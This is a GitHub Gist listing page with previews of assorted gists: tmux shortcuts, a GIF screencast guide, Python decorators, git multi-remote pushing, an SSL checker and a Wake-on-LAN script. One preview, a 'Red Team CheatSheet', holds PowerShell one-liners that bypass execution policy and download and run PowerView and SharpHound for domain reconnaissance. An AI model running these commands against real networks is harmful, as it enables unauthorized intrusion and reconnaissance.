Skip to content

Instantly share code, notes, and snippets.

@MohamedAlaa
MohamedAlaa / tmux-cheatsheet.markdown
Last active July 23, 2024 05:34
tmux shortcuts & cheatsheet

tmux shortcuts & cheatsheet

start new:

tmux

start new with session name:

tmux new -s myname
@dergachev
dergachev / GIF-Screencast-OSX.md
Last active July 17, 2024 14:20
OS X Screencast to animated GIF

OS X Screencast to animated GIF

This gist shows how to create a GIF screencast using only free OS X tools: QuickTime, ffmpeg, and gifsicle.

Screencapture GIF

Instructions

To capture the video (filesize: 19MB), using the free "QuickTime Player" application:

@Zearin
Zearin / python_decorator_guide.md
Last active July 18, 2024 00:10
The best explanation of Python decorators I’ve ever seen. (An archived answer from StackOverflow.)

NOTE: This is a question I found on StackOverflow which I’ve archived here, because the answer is so effing phenomenal.


Q: How can I make a chain of function decorators in Python?


If you are not into long explanations, see [Paolo Bergantino’s answer][2].

@justinoboyle
justinoboyle / 404_shrug.html
Last active October 8, 2020 22:27
404 Shrug ¯\_(ツ)_/¯
<html lang=en><meta charset=utf-8><head><title>404 Not Found</title><meta name=viewport content="width=device-width,initial-scale=1"><link href="http://fonts.googleapis.com/css?family=Roboto:400,100,100italic,300,300itlic,400italic,500,500italic,700,700italic,900italic,900" rel=stylesheet type=text/css><style>body{-webkit-touch-callout:none;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.shrug{font-family:Roboto,sans-serif;font-size:100px}.text{font-family:Roboto,sans-serif;font-size:30px}.footer{font-family:sans-serif;font-size:20px}.center{width:450px;height:340px;position:absolute;top:0;bottom:0;left:0;right:0;margin:auto}a:link{text-decoration:none;color:#006786}a:visited{text-decoration:none;color:#006786}a:hover{text-decoration:none;color:#006786}a:active{text-decoration:none;color:#006786}</style><body><div class=center><div class=shrug>¯\_(ツ)_/¯</div><div class=text>We couldn't find the page you were looking for.</div><br><div class=footer>
@rvl
rvl / git-pushing-multiple.rst
Created February 9, 2016 11:41
How to push to multiple git remotes at once. Useful if you keep mirrors of your repo.

Pushing to Multiple Git Repos

If a project has to have multiple git repos (e.g. Bitbucket and Github) then it's better that they remain in sync.

Usually this would involve pushing each branch to each repo in turn, but actually Git allows pushing to multiple repos in one go.

If in doubt about what git is doing when you run these commands, just

@dev-zzo
dev-zzo / tutorial.md
Last active February 9, 2023 00:08
ChameleonMini fun

Getting it to work

The device is shipped with test firmware installed. To burn a proper firmware, you will need:

The instructions on the blog page are incorrect because Rev G hardware uses ATxmega128A4U instead of ATxmega32A4U. Why? Probably an outdated version of hardware.

@gdamjan
gdamjan / ssl-check.py
Last active April 14, 2024 07:16
Python script to check on SSL certificates
# -*- encoding: utf-8 -*-
# requires a recent enough python with idna support in socket
# pyopenssl, cryptography and idna
from OpenSSL import SSL
from cryptography import x509
from cryptography.x509.oid import NameOID
import idna
from socket import socket
@m8sec
m8sec / RedTeam_CheatSheet.ps1
Last active May 21, 2024 08:42
Red Team CheatSheet
# Domain Recon
## ShareFinder - Look for shares on network and check access under current user context & Log to file
powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerView/powerview.ps1');Invoke-ShareFinder -CheckShareAccess|Out-File -FilePath sharefinder.txt"
## Import PowerView Module
powershell.exe -exec Bypass -noexit -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1')"
## Invoke-BloodHound for domain recon
powershell.exe -exec Bypass -C "IEX(New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Ingestors/SharpHound.ps1');Invoke-BloodHound"
@synthetic-intelligence
synthetic-intelligence / More Helpful Commands
Last active July 2, 2024 15:35
Smart Card Config MacOS
# MacOS smartcard
List tokens available in the system
pluginkit -m -p com.apple.ctk-tokens
ex: com.apple.CryptoTokenKit.setoken(1.0)
com.apple.CryptoTokenKit.pivtoken(1.0)
@stephanGarland
stephanGarland / wake_backup.py
Last active April 2, 2023 10:43
Bespoke WOL as one of my Supermicros has issues reliably coming up, often requiring a few boot attempts
#!/usr/bin/env python3
import datetime
import os
import socket
import subprocess
import sys
import time
MAC_ADDR = "0025904F3A00"